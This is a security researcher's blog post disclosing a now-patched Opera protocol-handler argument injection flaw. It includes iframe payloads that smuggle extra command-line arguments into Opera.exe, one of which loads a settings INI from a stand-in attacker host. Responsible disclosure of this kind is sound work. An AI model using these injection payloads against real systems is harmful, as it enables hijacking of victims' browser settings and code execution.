It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon... but on the show...
Opera 9.52 was released a few days ago... I hope you've upgraded! Working with the Opera Security Team was a pleasure. I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive.
A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across. You can read the initial advisory here. Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here. Since the issue is patched and the second advisory is out, lets go over the details:
First of all... this is a cross application issue (I think Blended Threat is the sexy term being used these days). We'll use a protocol handling "aware" application to launch these attacks against Opera. Opera just has to be installed someplace on the victim's machine for this to work.
When a user installs Opera, the following protocol hanlder is registered:
Opera.Protocol "C:\Program Files\Opera\Opera.exe" "%1"
Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey... I'm a simple guy).
c:\Program Files\Opera\Opera.exe "Opera.Protocol://test"
Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera. In the first example, we will inject the location of a local html file. When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision. The protocol handling string we use looks like this:
<iframe src = 'opera.protocol:www.test.com" "file://c:\test.html '>
which ends up executing the following:
c:\program files\opera\opera.exe "opera.protocol:www.test.com" "file://c:\test.html"
If we can somehow place an html file to a known location this would be bad. For arguments sake, lets assume Nate Mcfeters didn't figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) ... what else can we do?
Taking a look at the command line arguments supported by Opera, we see a couple interesting items... one of which is the "/settings" argument. the "/settings" argument allows for Opera.exe to be loaded with an arbitrary INI file. A quick examination of what's contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control: Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading... the list goes on and on...
<iframe src = 'opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini '>
which will result in something like this:
c;\program files\opera\opera.exe "opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini"
OUCH....Thankfully... the Opera Security Team has fixed this particular issue! Kudos to them!
